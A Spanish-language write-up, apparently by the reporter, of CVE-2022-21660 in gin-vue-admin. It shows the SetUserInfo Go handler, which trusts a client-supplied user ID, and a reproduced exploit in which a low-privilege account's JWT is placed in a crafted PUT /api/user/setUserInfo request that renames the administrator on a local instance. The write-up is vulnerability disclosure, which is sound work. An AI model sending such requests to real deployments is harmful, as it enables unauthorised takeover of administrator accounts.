
CVE-2022-21660
Damos la bienvenida a todos los expertos a darle una estrella a este proyecto.```http https://github.com/flipped-aurora/gin-vue-admin/

Después de escribir el artículo, solicitar el CVE fue un poco complicado, pero por suerte se consiguió; los empleados de GitHub respondieron rápidamente.
> ps: antes de solicitar el CVE, ya se había enviado el CNVD.

### 2. Configuración del entorno
Siguiendo el tutorial oficial```bash
git clone https://github.com/flipped-aurora/gin-vue-admin.git
Luego entre en el directorio server.```bash go generate
```bash
go build -o server main.go
Luego simplemente ejecuta el servidor

Después está la WEB, entra al directorio web e introduce```bash cnpm install || npm install
Luego solo hay que esperar

Una vez completada la instalación, se abrirá automáticamente la página web


Luego inicialice y configure la información de la base de datos

Después de configurarlo, haga clic en Inicializar y luego inicie sesión

### 3. Reproducción de la vulnerabilidad
### SetUserInfo presenta una escalada vertical de privilegios
##### 1. La interfaz SetUserInfo permite modificar la información personal del usuario sin autorización
Vamos directamente a la página de gestión de usuarios y creamos un rol de usuario con permisos bajos

Se puede ver que arriba no se le han otorgado permisos de administrador. A continuación, creamos una nueva cuenta y la asignamos a este grupo de roles


El lugar donde ocurre la vulnerabilidad está en la línea 273 de https://github.com/flipped-aurora/gin-vue-admin/blob/master/server/api/v1/system/sys_user.go
```go
// @Tags SysUser
// @Summary 设置用户信息
// @Security ApiKeyAuth
// @accept application/json
// @Produce application/json
// @Param data body system.SysUser true "ID, 用户名, 昵称, 头像链接"
// @Success 200 {string} string "{"success":true,"data":{},"msg":"设置成功"}"
// @Router /user/setUserInfo [put]
func (b *BaseApi) SetUserInfo(c *gin.Context) {
var user system.SysUser
_ = c.ShouldBindJSON(&user)
if err := utils.Verify(user, utils.IdVerify); err != nil {
response.FailWithMessage(err.Error(), c)
return
}
if err, ReqUser := userService.SetUserInfo(user); err != nil {
global.GVA_LOG.Error("设置失败!", zap.Error(err))
response.FailWithMessage("设置失败", c)
} else {
response.OkWithDetailed(gin.H{"userInfo": ReqUser}, "设置成功", c)
}
}
Aquí no se valida el ID entrante; el ID representa al usuario, por lo que se puede modificar la información personal del usuario correspondiente simplemente pasando el ID especificado.

Primero usamos el X-token del administrador para probar a modificar el nombre del usuario con ID 1 a test1; después podemos ver en el panel de administración que el nombre del administrador ya ha sido modificado a test1.

A continuación, usamos el Token de la cuenta UzJu_HxSecTeam que acabamos de crear para sustituirlo y modificar el nombre de usuario del administrador a test2.
Primero, en la cuenta UzJu_HxSecTeam, entramos en Información personal > Cambiar contraseña, cambiamos la contraseña de forma arbitraria y luego obtenemos el Token de la cuenta.

Este Token pertenece al rol de privilegios bajos; normalmente un usuario con privilegios bajos no puede modificar ninguna información del administrador.```http x-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiYTM1NTRiYmYtYzQwNS00ZWEwLTkzZjQtMzQ1YTRiNzIxMWYxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1MDk5OCwiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODQ1MTk4fQ.0vm9DA7RHOi-ZBN6p-C4RIjJS7Qs9kbXKLNpmc6nyDs
Reemplazamos el Token en él y construimos los siguientes datos Json.```json
{
"id":1,
"username":"test2",
"nickName":"test2",
"headerImg":""
}

Reemplazaremos el Token en la interfaz setUserinfo```http PUT /api/user/setUserInfo HTTP/1.1 Host: localhost:8080 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0 Accept: / Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/json x-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiYTM1NTRiYmYtYzQwNS00ZWEwLTkzZjQtMzQ1YTRiNzIxMWYxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1MDk5OCwiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODQ1MTk4fQ.0vm9DA7RHOi-ZBN6p-C4RIjJS7Qs9kbXKLNpmc6nyDs x-user-id: 1 Content-Length: 67 Origin: http://localhost:8080 Connection: close Referer: http://localhost:8080/ Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin
{"id":1, "username":"test2", "nickName":"test2", "headerImg":""}
Luego se nos indica que la configuración se realizó correctamente